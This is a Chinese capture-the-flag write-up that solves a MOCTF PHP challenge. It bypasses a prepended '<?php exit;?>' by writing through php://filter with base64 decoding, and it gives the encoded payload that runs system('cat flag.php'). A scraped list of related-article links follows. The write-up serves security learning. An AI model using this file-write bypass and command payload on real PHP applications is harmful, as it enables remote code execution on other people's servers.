在Moctf中看到一道题目:

<?php
show_source(__FILE__);
$c="<?php exit;?>";
@$c.=$_POST['c'];
@$filename=$_POST['file'];
if(!isset($filename))
{
file_put_contents('tmp.php', '');
}
@file_put_contents($filename, $c);
include('tmp.php');
?>

这里简单分析下题目,并记录下解题过程。

我们来看第二行的<?php exit;?>,这句话在开头增加了exit过程,导致即使我们成功写入一句话,也执行不了(这个过程在实战中十分常见,通常出现在缓存、配置文件等等地方,不允许用户直接访问的文件,都会被加上if(!defined(xxx))exit;之类的限制)。在往下看,我们要post一个c与file两个变量,而c不用说就是用来绕过exit并执行命令的。而下面的file_put_contents函数的含义为可以将一个字符串写入文件。所以我们简单分析得到,我们应该输入一个c用来绕过exit,并让c中的内容写入filename所代表的变量内容里。

又因为这里文件包含了tmp.php,所以我们很容易想到filename应该与tmp.php相关。

也就是说,这道题目的关键点在于我们如何绕过这句话。

这里引入一篇blog

https://www.leavesongs.com/PENETRATION/php-filter-magic.html

这里讲述了可以利用php伪协议进行绕过,简单来说,我们如果使用  file=php://filter/write=convert.base64-decode  来进行对file变量的处理,既以base64的编码来读。而我们为什么要使用base64呢?因为<?php exit;?>中"<、?、;、>"等符号解码时都会被忽略,所以命令就变成了-->    “phpexit”。也就达到了我们绕过了这个函数。之后我们要想执行我们所想的代码,可以在phpexit这七个字符后任意加一个字母(因为base64是4个字符一组进行解码的),所以我们可以写成

file=php://filter/write=convert.base64-decode/resource=tmp.php

也就是说以base64为编码对tmp.php读取。而写入tmp.php的内容是什么呢?

这里我们可以嵌入php命令来写入tmp.php中

将命令用base64编码,得到PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==,然后在原有的(phpexit)基础上添加上述base64代码,(****这里我们为了让其成为八位,所以任意在后面加一个a)得到

phpexitaPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

而传过去的值为t=aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

也就得到flag了,,233333

关于<?php exit;?>"的绕过问题的更多相关文章

  1. 绕过 <?PHP exit('Access Denied'); ?> 限制

    绕过 <?PHP exit('Access Denied'); ?> 限制   <?php $shellcode='PD9waHBpbmZvKCk7Pz4';//   base64_ ...

  2. Linux Programe/Dynamic Shared Library Entry/Exit Point && Glibc Entry Point/Function

    目录 . 引言 . C/C++运行库 . 静态Glibc && 可执行文件 入口/终止函数 . 动态Glibc && 可执行文件 入口/终止函数 . 静态Glibc & ...

  3. Discuz! 6.x/7.x 全局变量防御绕过导致命令执行

    https://www.secpulse.com/archives/2338.html 模拟register_globals功能的代码,在GPC为off时会调用addslashes()函数处理变量值, ...

  4. 绕过kernel模块版本校验检测

    kernel module version check bypass . 举例说明 . 内核是怎么实现的 . 怎样去突破 . 总结 . 举例说明 Linux内核版本很多,升级很快,2个小内核版本中内核 ...

  5. 实验吧_程序逻辑问题(代码审计)&上传绕过

    一开始我先随便输入了几个账号名字进行测试,发现当输入的账号名为admin时会发生报错 经过测试果然是一个注入点 当拿到admin密码后发现根本没用,没办法另寻他路 审查元素时发现提示index.txt ...

  6. 绕过校园网WEB认证_iodine实现

    这篇文章是对我的上一篇文章"绕过校园网WEB认证_dns2tcp实现"的补充,在那篇文章中,我讲述了绕过校园网WEB认证的原理,并介绍了如何在windows系统下绕过校园网WEB认 ...

  7. 从零开始学安全(四十)●上传文件MIME类型绕过漏洞防御

    MIME检测原理 服务端MIME类型检测是通过检查http包的Content-Type字段中的值来判断上传文件是否合法的. php示例代码: if($_FILES['userfile']['type' ...

  8. Linux_x86下NX与ASLR绕过技术

    本文介绍Linux_x86下NX与ASLR绕过技术,并对GCC的Stack Canaries保护技术进行原理分析. 本文使用存在漏洞代码如下: /* filename : sof.c */ #incl ...

  9. 一种绕过PTRACE反调试的办法

    Linux 系统gdb等调试器,都是通过ptrace系统调用实现.Android加固中,ptrace自身防止调试器附加是一种常用的反调试手段. 调试时一般需要手工在ptrace处下断点,通过修改ptr ...

随机推荐

  1. go使用时间作为种子生成随机数

    原文:http://blog.csdn.net/qq_15437667/article/details/50851159 --------------------------------------- ...

  2. C++与Java语法上的不同

    最近学习算法和刷题基本都是用C++写的程序,在这个过程中,发现C++和Java在语法上有很多相同点,但也有很多不同点,而这些不同点对于已经掌握Java的程序员来说,理解C++代码可能会有些吃力甚至困难 ...

  3. WSDL4J解析WSDL文件方法

    利用wsdl4j解析WSDL文件 工具:wsdl4j1.6 解析wsdl文件是axis1.4的服务wsdl文件 wsdl文件: <?xml version="1.0" enc ...

  4. C#对二进制文件的特定位置进行读写小结

    虽然网络上关于“C#对二进制文件进行读写”的文章多如牛毛,但具体到自己要处理的问题时,难免让人产生“书到用时方恨少”和“纸上读来终觉浅”的感觉.我现在感觉要真正解决自己的问题,最终还是要靠自己下功夫. ...

  5. weex 项目开发(二) weex 与 weexpack 的区别

    1.weex 与 weexpack 即  weex-toolkit 与 weexpack 的区别 weex-toolkit 初始化的项目是针对开发单个 Weex 页面而设计的,也就是说这样的项目只包括 ...

  6. java开始到熟悉66-69

    本次内容:DateFormat类 1.DateFormat类 package array; /** * 时间和字符串之间的转化 */ import java.text.DateFormat; impo ...

  7. 博客系统-评论or评论树

    url配置 url(r'^commentTree/(?P<article_id>\d+)/',views.commentTree), url(r'^(?P<username>. ...

  8. run as maven test报错解决办法

    eclipse中使用maven插件的时候,运行run as maven build的时候报错 -Dmaven.multiModuleProjectDirectory system propery is ...

  9. HDU 6143 Killer Names DP+快速密

    Killer Names Problem Description > Galen Marek, codenamed Starkiller, was a male Human apprentice ...

  10. debian apt-get工作的原理

    1 apt-get update apt-get update并没有将远程仓库的包都下载到本地,而是通过访问远程仓库创建或者更新了远程仓库的本地索引,索引文件放在/var/lib/apt/lists目 ...